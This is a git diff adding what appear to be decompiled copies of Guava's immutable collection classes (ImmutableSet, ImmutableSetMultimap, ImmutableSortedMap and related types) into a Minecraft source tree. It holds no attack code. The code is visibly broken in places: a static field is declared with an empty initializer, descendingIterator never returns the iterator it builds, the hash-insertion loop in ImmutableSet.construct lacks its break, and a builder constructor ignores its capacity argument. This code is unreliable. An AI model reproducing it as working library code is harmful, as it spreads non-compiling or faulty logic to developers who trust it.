+    @GwtIncompatible("NavigableSet")
+    public UnmodifiableIterator<C> descendingIterator()
+    {
+      new AbstractIterator() {
+        final Iterator<Range<C>> rangeItr = ranges.reverse().iterator();
+        Iterator<C> elemItr = Iterators.emptyIterator();
+        
+        protected C computeNext()
+        {
+          while (!elemItr.hasNext()) {
+            if (rangeItr.hasNext()) {
+              elemItr = ContiguousSet.create((Range)rangeItr.next(), domain).descendingIterator();
+            } else {
+              return (Comparable)endOfData();
+            }
+          }
+          return (Comparable)elemItr.next();
+        }
+      };
+    }
+    
+    ImmutableSortedSet<C> subSet(Range<C> range) {
+      return subRangeSet(range).asSet(domain);
+    }
+    
+    ImmutableSortedSet<C> headSetImpl(C toElement, boolean inclusive)
+    {
+      return subSet(Range.upTo(toElement, BoundType.forBoolean(inclusive)));
+    }
+    
+
+    ImmutableSortedSet<C> subSetImpl(C fromElement, boolean fromInclusive, C toElement, boolean toInclusive)
+    {
+      if ((!fromInclusive) && (!toInclusive) && (Range.compareOrThrow(fromElement, toElement) == 0)) {
+        return ImmutableSortedSet.of();
+      }
+      return subSet(Range.range(fromElement, BoundType.forBoolean(fromInclusive), toElement, BoundType.forBoolean(toInclusive)));
+    }
+    
+
+
+    ImmutableSortedSet<C> tailSetImpl(C fromElement, boolean inclusive)
+    {
+      return subSet(Range.downTo(fromElement, BoundType.forBoolean(inclusive)));
+    }
+    
+    public boolean contains(@Nullable Object o)
+    {
+      if (o == null) {
+        return false;
+      }
+      try
+      {
+        C c = (Comparable)o;
+        return contains(c);
+      } catch (ClassCastException e) {}
+      return false;
+    }
+    
+
+    int indexOf(Object target)
+    {
+      if (contains(target))
+      {
+        C c = (Comparable)target;
+        long total = 0L;
+        for (Range<C> range : ranges) {
+          if (range.contains(c)) {
+            return Ints.saturatedCast(total + ContiguousSet.create(range, domain).indexOf(c));
+          }
+          total += ContiguousSet.create(range, domain).size();
+        }
+        
+        throw new AssertionError("impossible");
+      }
+      return -1;
+    }
+    
+    boolean isPartialView()
+    {
+      return ranges.isPartialView();
+    }
+    
+    public String toString()
+    {
+      return ranges.toString();
+    }
+    
+    Object writeReplace()
+    {
+      return new ImmutableRangeSet.AsSetSerializedForm(ranges, domain);
+    }
+  }
+  
+  private static class AsSetSerializedForm<C extends Comparable> implements Serializable {
+    private final ImmutableList<Range<C>> ranges;
+    private final DiscreteDomain<C> domain;
+    
+    AsSetSerializedForm(ImmutableList<Range<C>> ranges, DiscreteDomain<C> domain) {
+      this.ranges = ranges;
+      this.domain = domain;
+    }
+    
+    Object readResolve() {
+      return new ImmutableRangeSet(ranges).asSet(domain);
+    }
+  }
+  
+
+
+
+
+
+  boolean isPartialView()
+  {
+    return ranges.isPartialView();
+  }
+  
+
+
+  public static <C extends Comparable<?>> Builder<C> builder()
+  {
+    return new Builder();
+  }
+  
+
+  public static class Builder<C extends Comparable<?>>
+  {
+    private final RangeSet<C> rangeSet;
+    
+    public Builder()
+    {
+      rangeSet = TreeRangeSet.create();
+    }
+    
+
+
+
+
+
+
+    public Builder<C> add(Range<C> range)
+    {
+      if (range.isEmpty())
+        throw new IllegalArgumentException("range must not be empty, but was " + range);
+      if (!rangeSet.complement().encloses(range)) {
+        for (Range<C> currentRange : rangeSet.asRanges()) {
+          Preconditions.checkArgument((!currentRange.isConnected(range)) || (currentRange.intersection(range).isEmpty()), "Ranges may not overlap, but received %s and %s", new Object[] { currentRange, range });
+        }
+        
+
+        throw new AssertionError("should have thrown an IAE above");
+      }
+      rangeSet.add(range);
+      return this;
+    }
+    
+
+
+
+    public Builder<C> addAll(RangeSet<C> ranges)
+    {
+      for (Range<C> range : ranges.asRanges()) {
+        add(range);
+      }
+      return this;
+    }
+    
+
+
+    public ImmutableRangeSet<C> build()
+    {
+      return ImmutableRangeSet.copyOf(rangeSet);
+    }
+  }
+  
+  private static final class SerializedForm<C extends Comparable> implements Serializable {
+    private final ImmutableList<Range<C>> ranges;
+    
+    SerializedForm(ImmutableList<Range<C>> ranges) {
+      this.ranges = ranges;
+    }
+    
+    Object readResolve() {
+      if (ranges.isEmpty())
+        return ImmutableRangeSet.of();
+      if (ranges.equals(ImmutableList.of(Range.all()))) {
+        return ImmutableRangeSet.all();
+      }
+      return new ImmutableRangeSet(ranges);
+    }
+  }
+  
+  Object writeReplace()
+  {
+    return new SerializedForm(ranges);
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ImmutableSet.java b/src/minecraft/com/google/common/collect/ImmutableSet.java
new file mode 100644
index 0000000..8e3f616
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ImmutableSet.java
@@ -0,0 +1,538 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.VisibleForTesting;
+import com.google.common.base.Preconditions;
+import java.io.Serializable;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.EnumSet;
+import java.util.Iterator;
+import java.util.Set;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(serializable=true, emulated=true)
+public abstract class ImmutableSet<E>
+  extends ImmutableCollection<E>
+  implements Set<E>
+{
+  static final int MAX_TABLE_SIZE = 1073741824;
+  private static final double DESIRED_LOAD_FACTOR = 0.7D;
+  private static final int CUTOFF = 751619276;
+  
+  public static <E> ImmutableSet<E> of()
+  {
+    return EmptyImmutableSet.INSTANCE;
+  }
+  
+
+
+
+
+
+  public static <E> ImmutableSet<E> of(E element)
+  {
+    return new SingletonImmutableSet(element);
+  }
+  
+
+
+
+
+
+
+  public static <E> ImmutableSet<E> of(E e1, E e2)
+  {
+    return construct(2, new Object[] { e1, e2 });
+  }
+  
+
+
+
+
+
+
+  public static <E> ImmutableSet<E> of(E e1, E e2, E e3)
+  {
+    return construct(3, new Object[] { e1, e2, e3 });
+  }
+  
+
+
+
+
+
+
+  public static <E> ImmutableSet<E> of(E e1, E e2, E e3, E e4)
+  {
+    return construct(4, new Object[] { e1, e2, e3, e4 });
+  }
+  
+
+
+
+
+
+
+  public static <E> ImmutableSet<E> of(E e1, E e2, E e3, E e4, E e5)
+  {
+    return construct(5, new Object[] { e1, e2, e3, e4, e5 });
+  }
+  
+
+
+
+
+
+
+
+
+  public static <E> ImmutableSet<E> of(E e1, E e2, E e3, E e4, E e5, E e6, E... others)
+  {
+    int paramCount = 6;
+    Object[] elements = new Object[6 + others.length];
+    elements[0] = e1;
+    elements[1] = e2;
+    elements[2] = e3;
+    elements[3] = e4;
+    elements[4] = e5;
+    elements[5] = e6;
+    System.arraycopy(others, 0, elements, 6, others.length);
+    return construct(elements.length, elements);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static <E> ImmutableSet<E> construct(int n, Object... elements)
+  {
+    switch (n) {
+    case 0: 
+      return of();
+    
+    case 1: 
+      E elem = elements[0];
+      return of(elem);
+    }
+    
+    
+    int tableSize = chooseTableSize(n);
+    Object[] table = new Object[tableSize];
+    int mask = tableSize - 1;
+    int hashCode = 0;
+    int uniques = 0;
+    for (int i = 0; i < n; i++) {
+      Object element = ObjectArrays.checkElementNotNull(elements[i], i);
+      int hash = element.hashCode();
+      for (int j = Hashing.smear(hash);; j++) {
+        int index = j & mask;
+        Object value = table[index];
+        if (value == null)
+        {
+          elements[(uniques++)] = element;
+          table[index] = element;
+          hashCode += hash;
+        } else {
+          if (value.equals(element))
+            break;
+        }
+      }
+    }
+    Arrays.fill(elements, uniques, n, null);
+    if (uniques == 1)
+    {
+
+      E element = elements[0];
+      return new SingletonImmutableSet(element, hashCode); }
+    if (tableSize != chooseTableSize(uniques))
+    {
+
+      return construct(uniques, elements);
+    }
+    Object[] uniqueElements = uniques < elements.length ? ObjectArrays.arraysCopyOf(elements, uniques) : elements;
+    
+
+    return new RegularImmutableSet(uniqueElements, hashCode, table, mask);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @VisibleForTesting
+  static int chooseTableSize(int setSize)
+  {
+    if (setSize < 751619276)
+    {
+      int tableSize = Integer.highestOneBit(setSize - 1) << 1;
+      while (tableSize * 0.7D < setSize) {
+        tableSize <<= 1;
+      }
+      return tableSize;
+    }
+    
+
+    Preconditions.checkArgument(setSize < 1073741824, "collection too large");
+    return 1073741824;
+  }
+  
+
+
+
+
+
+
+
+  public static <E> ImmutableSet<E> copyOf(E[] elements)
+  {
+    switch (elements.length) {
+    case 0: 
+      return of();
+    case 1: 
+      return of(elements[0]);
+    }
+    return construct(elements.length, (Object[])elements.clone());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <E> ImmutableSet<E> copyOf(Iterable<? extends E> elements)
+  {
+    return (elements instanceof Collection) ? copyOf(Collections2.cast(elements)) : copyOf(elements.iterator());
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static <E> ImmutableSet<E> copyOf(Iterator<? extends E> elements)
+  {
+    if (!elements.hasNext()) {
+      return of();
+    }
+    E first = elements.next();
+    if (!elements.hasNext()) {
+      return of(first);
+    }
+    return new Builder().add(first).addAll(elements).build();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <E> ImmutableSet<E> copyOf(Collection<? extends E> elements)
+  {
+    if (((elements instanceof ImmutableSet)) && (!(elements instanceof ImmutableSortedSet)))
+    {
+
+      ImmutableSet<E> set = (ImmutableSet)elements;
+      if (!set.isPartialView()) {
+        return set;
+      }
+    } else if ((elements instanceof EnumSet)) {
+      return copyOfEnumSet((EnumSet)elements);
+    }
+    Object[] array = elements.toArray();
+    return construct(array.length, array);
+  }
+  
+  private static <E extends Enum<E>> ImmutableSet<E> copyOfEnumSet(EnumSet<E> enumSet)
+  {
+    return ImmutableEnumSet.asImmutable(EnumSet.copyOf(enumSet));
+  }
+  
+  ImmutableSet() {}
+  
+  boolean isHashCodeFast()
+  {
+    return false;
+  }
+  
+  public boolean equals(@Nullable Object object) {
+    if (object == this)
+      return true;
+    if (((object instanceof ImmutableSet)) && (isHashCodeFast()) && (((ImmutableSet)object).isHashCodeFast()) && (hashCode() != object.hashCode()))
+    {
+
+
+      return false;
+    }
+    return Sets.equalsImpl(this, object);
+  }
+  
+  public int hashCode() {
+    return Sets.hashCodeImpl(this);
+  }
+  
+
+  public abstract UnmodifiableIterator<E> iterator();
+  
+
+  private static class SerializedForm
+    implements Serializable
+  {
+    final Object[] elements;
+    
+    private static final long serialVersionUID = 0L;
+    
+
+    SerializedForm(Object[] elements)
+    {
+      this.elements = elements;
+    }
+    
+    Object readResolve() { return ImmutableSet.copyOf(elements); }
+  }
+  
+
+  Object writeReplace()
+  {
+    return new SerializedForm(toArray());
+  }
+  
+
+
+
+  public static <E> Builder<E> builder()
+  {
+    return new Builder();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static class Builder<E>
+    extends ImmutableCollection.ArrayBasedBuilder<E>
+  {
+    public Builder()
+    {
+      this(4);
+    }
+    
+    Builder(int capacity) {
+      super();
+    }
+    
+
+
+
+
+
+
+
+
+    public Builder<E> add(E element)
+    {
+      super.add(element);
+      return this;
+    }
+    
+
+
+
+
+
+
+
+
+    public Builder<E> add(E... elements)
+    {
+      super.add(elements);
+      return this;
+    }
+    
+
+
+
+
+
+
+
+
+    public Builder<E> addAll(Iterable<? extends E> elements)
+    {
+      super.addAll(elements);
+      return this;
+    }
+    
+
+
+
+
+
+
+
+
+    public Builder<E> addAll(Iterator<? extends E> elements)
+    {
+      super.addAll(elements);
+      return this;
+    }
+    
+
+
+
+    public ImmutableSet<E> build()
+    {
+      ImmutableSet<E> result = ImmutableSet.construct(size, contents);
+      
+
+      size = result.size();
+      return result;
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ImmutableSetMultimap.java b/src/minecraft/com/google/common/collect/ImmutableSetMultimap.java
new file mode 100644
index 0000000..7379be1
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ImmutableSetMultimap.java
@@ -0,0 +1,537 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import com.google.common.base.Objects;
+import com.google.common.base.Preconditions;
+import java.io.IOException;
+import java.io.InvalidObjectException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.Comparator;
+import java.util.LinkedHashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(serializable=true, emulated=true)
+public class ImmutableSetMultimap<K, V>
+  extends ImmutableMultimap<K, V>
+  implements SetMultimap<K, V>
+{
+  private final transient ImmutableSet<V> emptySet;
+  private transient ImmutableSetMultimap<V, K> inverse;
+  private transient ImmutableSet<Map.Entry<K, V>> entries;
+  @GwtIncompatible("not needed in emulated source.")
+  private static final long serialVersionUID = 0L;
+  
+  public static <K, V> ImmutableSetMultimap<K, V> of()
+  {
+    return EmptyImmutableSetMultimap.INSTANCE;
+  }
+  
+
+
+  public static <K, V> ImmutableSetMultimap<K, V> of(K k1, V v1)
+  {
+    Builder<K, V> builder = builder();
+    builder.put(k1, v1);
+    return builder.build();
+  }
+  
+
+
+
+
+  public static <K, V> ImmutableSetMultimap<K, V> of(K k1, V v1, K k2, V v2)
+  {
+    Builder<K, V> builder = builder();
+    builder.put(k1, v1);
+    builder.put(k2, v2);
+    return builder.build();
+  }
+  
+
+
+
+
+
+  public static <K, V> ImmutableSetMultimap<K, V> of(K k1, V v1, K k2, V v2, K k3, V v3)
+  {
+    Builder<K, V> builder = builder();
+    builder.put(k1, v1);
+    builder.put(k2, v2);
+    builder.put(k3, v3);
+    return builder.build();
+  }
+  
+
+
+
+
+
+  public static <K, V> ImmutableSetMultimap<K, V> of(K k1, V v1, K k2, V v2, K k3, V v3, K k4, V v4)
+  {
+    Builder<K, V> builder = builder();
+    builder.put(k1, v1);
+    builder.put(k2, v2);
+    builder.put(k3, v3);
+    builder.put(k4, v4);
+    return builder.build();
+  }
+  
+
+
+
+
+
+  public static <K, V> ImmutableSetMultimap<K, V> of(K k1, V v1, K k2, V v2, K k3, V v3, K k4, V v4, K k5, V v5)
+  {
+    Builder<K, V> builder = builder();
+    builder.put(k1, v1);
+    builder.put(k2, v2);
+    builder.put(k3, v3);
+    builder.put(k4, v4);
+    builder.put(k5, v5);
+    return builder.build();
+  }
+  
+
+
+
+
+  public static <K, V> Builder<K, V> builder()
+  {
+    return new Builder();
+  }
+  
+  private static class BuilderMultimap<K, V> extends AbstractMapBasedMultimap<K, V>
+  {
+    private static final long serialVersionUID = 0L;
+    
+    BuilderMultimap()
+    {
+      super();
+    }
+    
+    Collection<V> createCollection() { return Sets.newLinkedHashSet(); }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static final class Builder<K, V>
+    extends ImmutableMultimap.Builder<K, V>
+  {
+    public Builder()
+    {
+      builderMultimap = new ImmutableSetMultimap.BuilderMultimap();
+    }
+    
+
+
+
+    public Builder<K, V> put(K key, V value)
+    {
+      builderMultimap.put(Preconditions.checkNotNull(key), Preconditions.checkNotNull(value));
+      return this;
+    }
+    
+
+
+
+
+    public Builder<K, V> put(Map.Entry<? extends K, ? extends V> entry)
+    {
+      builderMultimap.put(Preconditions.checkNotNull(entry.getKey()), Preconditions.checkNotNull(entry.getValue()));
+      
+      return this;
+    }
+    
+    public Builder<K, V> putAll(K key, Iterable<? extends V> values) {
+      Collection<V> collection = builderMultimap.get(Preconditions.checkNotNull(key));
+      for (V value : values) {
+        collection.add(Preconditions.checkNotNull(value));
+      }
+      return this;
+    }
+    
+    public Builder<K, V> putAll(K key, V... values) {
+      return putAll(key, Arrays.asList(values));
+    }
+    
+
+    public Builder<K, V> putAll(Multimap<? extends K, ? extends V> multimap)
+    {
+      for (Map.Entry<? extends K, ? extends Collection<? extends V>> entry : multimap.asMap().entrySet()) {
+        putAll(entry.getKey(), (Iterable)entry.getValue());
+      }
+      return this;
+    }
+    
+
+
+
+
+
+    public Builder<K, V> orderKeysBy(Comparator<? super K> keyComparator)
+    {
+      this.keyComparator = ((Comparator)Preconditions.checkNotNull(keyComparator));
+      return this;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    public Builder<K, V> orderValuesBy(Comparator<? super V> valueComparator)
+    {
+      super.orderValuesBy(valueComparator);
+      return this;
+    }
+    
+
+
+    public ImmutableSetMultimap<K, V> build()
+    {
+      if (keyComparator != null) {
+        Multimap<K, V> sortedCopy = new ImmutableSetMultimap.BuilderMultimap();
+        List<Map.Entry<K, Collection<V>>> entries = Lists.newArrayList(builderMultimap.asMap().entrySet());
+        
+        Collections.sort(entries, Ordering.from(keyComparator).onKeys());
+        
+
+        for (Map.Entry<K, Collection<V>> entry : entries) {
+          sortedCopy.putAll(entry.getKey(), (Iterable)entry.getValue());
+        }
+        builderMultimap = sortedCopy;
+      }
+      return ImmutableSetMultimap.copyOf(builderMultimap, valueComparator);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> ImmutableSetMultimap<K, V> copyOf(Multimap<? extends K, ? extends V> multimap)
+  {
+    return copyOf(multimap, null);
+  }
+  
+
+  private static <K, V> ImmutableSetMultimap<K, V> copyOf(Multimap<? extends K, ? extends V> multimap, Comparator<? super V> valueComparator)
+  {
+    Preconditions.checkNotNull(multimap);
+    if ((multimap.isEmpty()) && (valueComparator == null)) {
+      return of();
+    }
+    
+    if ((multimap instanceof ImmutableSetMultimap))
+    {
+      ImmutableSetMultimap<K, V> kvMultimap = (ImmutableSetMultimap)multimap;
+      
+      if (!kvMultimap.isPartialView()) {
+        return kvMultimap;
+      }
+    }
+    
+    ImmutableMap.Builder<K, ImmutableSet<V>> builder = ImmutableMap.builder();
+    int size = 0;
+    
+
+    for (Map.Entry<? extends K, ? extends Collection<? extends V>> entry : multimap.asMap().entrySet()) {
+      K key = entry.getKey();
+      Collection<? extends V> values = (Collection)entry.getValue();
+      ImmutableSet<V> set = valueSet(valueComparator, values);
+      if (!set.isEmpty()) {
+        builder.put(key, set);
+        size += set.size();
+      }
+    }
+    
+    return new ImmutableSetMultimap(builder.build(), size, valueComparator);
+  }
+  
+
+
+
+
+
+
+
+  ImmutableSetMultimap(ImmutableMap<K, ImmutableSet<V>> map, int size, @Nullable Comparator<? super V> valueComparator)
+  {
+    super(map, size);
+    emptySet = emptySet(valueComparator);
+  }
+  
+
+
+
+
+
+
+
+
+  public ImmutableSet<V> get(@Nullable K key)
+  {
+    ImmutableSet<V> set = (ImmutableSet)map.get(key);
+    return (ImmutableSet)Objects.firstNonNull(set, emptySet);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public ImmutableSetMultimap<V, K> inverse()
+  {
+    ImmutableSetMultimap<V, K> result = inverse;
+    return result == null ? (this.inverse = invert()) : result;
+  }
+  
+  private ImmutableSetMultimap<V, K> invert() {
+    Builder<V, K> builder = builder();
+    for (Map.Entry<K, V> entry : entries()) {
+      builder.put(entry.getValue(), entry.getKey());
+    }
+    ImmutableSetMultimap<V, K> invertedMultimap = builder.build();
+    inverse = this;
+    return invertedMultimap;
+  }
+  
+
+
+
+
+  @Deprecated
+  public ImmutableSet<V> removeAll(Object key)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+
+  @Deprecated
+  public ImmutableSet<V> replaceValues(K key, Iterable<? extends V> values)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+
+
+  public ImmutableSet<Map.Entry<K, V>> entries()
+  {
+    ImmutableSet<Map.Entry<K, V>> result = entries;
+    return result == null ? (this.entries = new EntrySet(this)) : result;
+  }
+  
+  private static final class EntrySet<K, V> extends ImmutableSet<Map.Entry<K, V>>
+  {
+    private final transient ImmutableSetMultimap<K, V> multimap;
+    
+    EntrySet(ImmutableSetMultimap<K, V> multimap)
+    {
+      this.multimap = multimap;
+    }
+    
+    public boolean contains(@Nullable Object object)
+    {
+      if ((object instanceof Map.Entry)) {
+        Map.Entry<?, ?> entry = (Map.Entry)object;
+        return multimap.containsEntry(entry.getKey(), entry.getValue());
+      }
+      return false;
+    }
+    
+    public int size()
+    {
+      return multimap.size();
+    }
+    
+    public UnmodifiableIterator<Map.Entry<K, V>> iterator()
+    {
+      return multimap.entryIterator();
+    }
+    
+    boolean isPartialView()
+    {
+      return false;
+    }
+  }
+  
+
+  private static <V> ImmutableSet<V> valueSet(@Nullable Comparator<? super V> valueComparator, Collection<? extends V> values)
+  {
+    return valueComparator == null ? ImmutableSet.copyOf(values) : ImmutableSortedSet.copyOf(valueComparator, values);
+  }
+  
+
+
+  private static <V> ImmutableSet<V> emptySet(@Nullable Comparator<? super V> valueComparator)
+  {
+    return valueComparator == null ? ImmutableSet.of() : ImmutableSortedSet.emptySet(valueComparator);
+  }
+  
+
+
+
+
+  @GwtIncompatible("java.io.ObjectOutputStream")
+  private void writeObject(ObjectOutputStream stream)
+    throws IOException
+  {
+    stream.defaultWriteObject();
+    stream.writeObject(valueComparator());
+    Serialization.writeMultimap(this, stream);
+  }
+  
+  @Nullable
+  Comparator<? super V> valueComparator() { return (emptySet instanceof ImmutableSortedSet) ? ((ImmutableSortedSet)emptySet).comparator() : null; }
+  
+
+
+
+
+  @GwtIncompatible("java.io.ObjectInputStream")
+  private void readObject(ObjectInputStream stream)
+    throws IOException, ClassNotFoundException
+  {
+    stream.defaultReadObject();
+    Comparator<Object> valueComparator = (Comparator)stream.readObject();
+    
+    int keyCount = stream.readInt();
+    if (keyCount < 0) {
+      throw new InvalidObjectException("Invalid key count " + keyCount);
+    }
+    ImmutableMap.Builder<Object, ImmutableSet<Object>> builder = ImmutableMap.builder();
+    
+    int tmpSize = 0;
+    
+    for (int i = 0; i < keyCount; i++) {
+      Object key = stream.readObject();
+      int valueCount = stream.readInt();
+      if (valueCount <= 0) {
+        throw new InvalidObjectException("Invalid value count " + valueCount);
+      }
+      
+      Object[] array = new Object[valueCount];
+      for (int j = 0; j < valueCount; j++) {
+        array[j] = stream.readObject();
+      }
+      ImmutableSet<Object> valueSet = valueSet(valueComparator, Arrays.asList(array));
+      if (valueSet.size() != array.length) {
+        throw new InvalidObjectException("Duplicate key-value pairs exist for key " + key);
+      }
+      
+      builder.put(key, valueSet);
+      tmpSize += valueCount;
+    }
+    ImmutableMap<Object, ImmutableSet<Object>> tmpMap;
+    try
+    {
+      tmpMap = builder.build();
+    } catch (IllegalArgumentException e) {
+      throw ((InvalidObjectException)new InvalidObjectException(e.getMessage()).initCause(e));
+    }
+    
+
+    ImmutableMultimap.FieldSettersHolder.MAP_FIELD_SETTER.set(this, tmpMap);
+    ImmutableMultimap.FieldSettersHolder.SIZE_FIELD_SETTER.set(this, tmpSize);
+    ImmutableMultimap.FieldSettersHolder.EMPTY_SET_FIELD_SETTER.set(this, emptySet(valueComparator));
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ImmutableSortedAsList.java b/src/minecraft/com/google/common/collect/ImmutableSortedAsList.java
new file mode 100644
index 0000000..509c6bb
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ImmutableSortedAsList.java
@@ -0,0 +1,84 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import java.util.Comparator;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(emulated=true)
+final class ImmutableSortedAsList<E>
+  extends RegularImmutableAsList<E>
+  implements SortedIterable<E>
+{
+  ImmutableSortedAsList(ImmutableSortedSet<E> backingSet, ImmutableList<E> backingList)
+  {
+    super(backingSet, backingList);
+  }
+  
+  ImmutableSortedSet<E> delegateCollection()
+  {
+    return (ImmutableSortedSet)super.delegateCollection();
+  }
+  
+  public Comparator<? super E> comparator() {
+    return delegateCollection().comparator();
+  }
+  
+
+
+  @GwtIncompatible("ImmutableSortedSet.indexOf")
+  public int indexOf(@Nullable Object target)
+  {
+    int index = delegateCollection().indexOf(target);
+    
+
+
+
+
+
+    return (index >= 0) && (get(index).equals(target)) ? index : -1;
+  }
+  
+  @GwtIncompatible("ImmutableSortedSet.indexOf")
+  public int lastIndexOf(@Nullable Object target) {
+    return indexOf(target);
+  }
+  
+
+  public boolean contains(Object target)
+  {
+    return indexOf(target) >= 0;
+  }
+  
+
+
+
+
+
+  @GwtIncompatible("super.subListUnchecked does not exist; inherited subList is valid if slow")
+  ImmutableList<E> subListUnchecked(int fromIndex, int toIndex)
+  {
+    return new RegularImmutableSortedSet(super.subListUnchecked(fromIndex, toIndex), comparator()).asList();
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ImmutableSortedMap.java b/src/minecraft/com/google/common/collect/ImmutableSortedMap.java
new file mode 100644
index 0000000..88926c7
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ImmutableSortedMap.java
@@ -0,0 +1,696 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Preconditions;
+import java.util.Arrays;
+import java.util.Comparator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.NavigableMap;
+import java.util.Set;
+import java.util.SortedMap;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(serializable=true, emulated=true)
+public abstract class ImmutableSortedMap<K, V>
+  extends ImmutableSortedMapFauxverideShim<K, V>
+  implements NavigableMap<K, V>
+{
+  private static final Comparator<Comparable> NATURAL_ORDER = ;
+  
+  private static final ImmutableSortedMap<Comparable, Object> NATURAL_EMPTY_MAP = new EmptyImmutableSortedMap(NATURAL_ORDER);
+  private transient ImmutableSortedMap<K, V> descendingMap;
+  private static final long serialVersionUID = 0L;
+  
+  static <K, V> ImmutableSortedMap<K, V> emptyMap(Comparator<? super K> comparator) { if (Ordering.natural().equals(comparator)) {
+      return of();
+    }
+    return new EmptyImmutableSortedMap(comparator);
+  }
+  
+
+
+
+  static <K, V> ImmutableSortedMap<K, V> fromSortedEntries(Comparator<? super K> comparator, int size, Map.Entry<K, V>[] entries)
+  {
+    if (size == 0) {
+      return emptyMap(comparator);
+    }
+    
+    ImmutableList.Builder<K> keyBuilder = ImmutableList.builder();
+    ImmutableList.Builder<V> valueBuilder = ImmutableList.builder();
+    for (int i = 0; i < size; i++) {
+      Map.Entry<K, V> entry = entries[i];
+      keyBuilder.add(entry.getKey());
+      valueBuilder.add(entry.getValue());
+    }
+    
+    return new RegularImmutableSortedMap(new RegularImmutableSortedSet(keyBuilder.build(), comparator), valueBuilder.build());
+  }
+  
+
+
+  static <K, V> ImmutableSortedMap<K, V> from(ImmutableSortedSet<K> keySet, ImmutableList<V> valueList)
+  {
+    if (keySet.isEmpty()) {
+      return emptyMap(keySet.comparator());
+    }
+    return new RegularImmutableSortedMap((RegularImmutableSortedSet)keySet, valueList);
+  }
+  
+
+
+
+
+
+
+
+
+  public static <K, V> ImmutableSortedMap<K, V> of()
+  {
+    return NATURAL_EMPTY_MAP;
+  }
+  
+
+
+
+  public static <K extends Comparable<? super K>, V> ImmutableSortedMap<K, V> of(K k1, V v1)
+  {
+    return from(ImmutableSortedSet.of(k1), ImmutableList.of(v1));
+  }
+  
+
+
+
+
+
+
+
+
+  public static <K extends Comparable<? super K>, V> ImmutableSortedMap<K, V> of(K k1, V v1, K k2, V v2)
+  {
+    return fromEntries(Ordering.natural(), false, 2, new Map.Entry[] { entryOf(k1, v1), entryOf(k2, v2) });
+  }
+  
+
+
+
+
+
+
+
+
+  public static <K extends Comparable<? super K>, V> ImmutableSortedMap<K, V> of(K k1, V v1, K k2, V v2, K k3, V v3)
+  {
+    return fromEntries(Ordering.natural(), false, 3, new Map.Entry[] { entryOf(k1, v1), entryOf(k2, v2), entryOf(k3, v3) });
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static <K extends Comparable<? super K>, V> ImmutableSortedMap<K, V> of(K k1, V v1, K k2, V v2, K k3, V v3, K k4, V v4)
+  {
+    return fromEntries(Ordering.natural(), false, 4, new Map.Entry[] { entryOf(k1, v1), entryOf(k2, v2), entryOf(k3, v3), entryOf(k4, v4) });
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static <K extends Comparable<? super K>, V> ImmutableSortedMap<K, V> of(K k1, V v1, K k2, V v2, K k3, V v3, K k4, V v4, K k5, V v5)
+  {
+    return fromEntries(Ordering.natural(), false, 5, new Map.Entry[] { entryOf(k1, v1), entryOf(k2, v2), entryOf(k3, v3), entryOf(k4, v4), entryOf(k5, v5) });
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> ImmutableSortedMap<K, V> copyOf(Map<? extends K, ? extends V> map)
+  {
+    Ordering<K> naturalOrder = Ordering.natural();
+    return copyOfInternal(map, naturalOrder);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> ImmutableSortedMap<K, V> copyOf(Map<? extends K, ? extends V> map, Comparator<? super K> comparator)
+  {
+    return copyOfInternal(map, (Comparator)Preconditions.checkNotNull(comparator));
+  }
+  
+
+
+
+
+
+
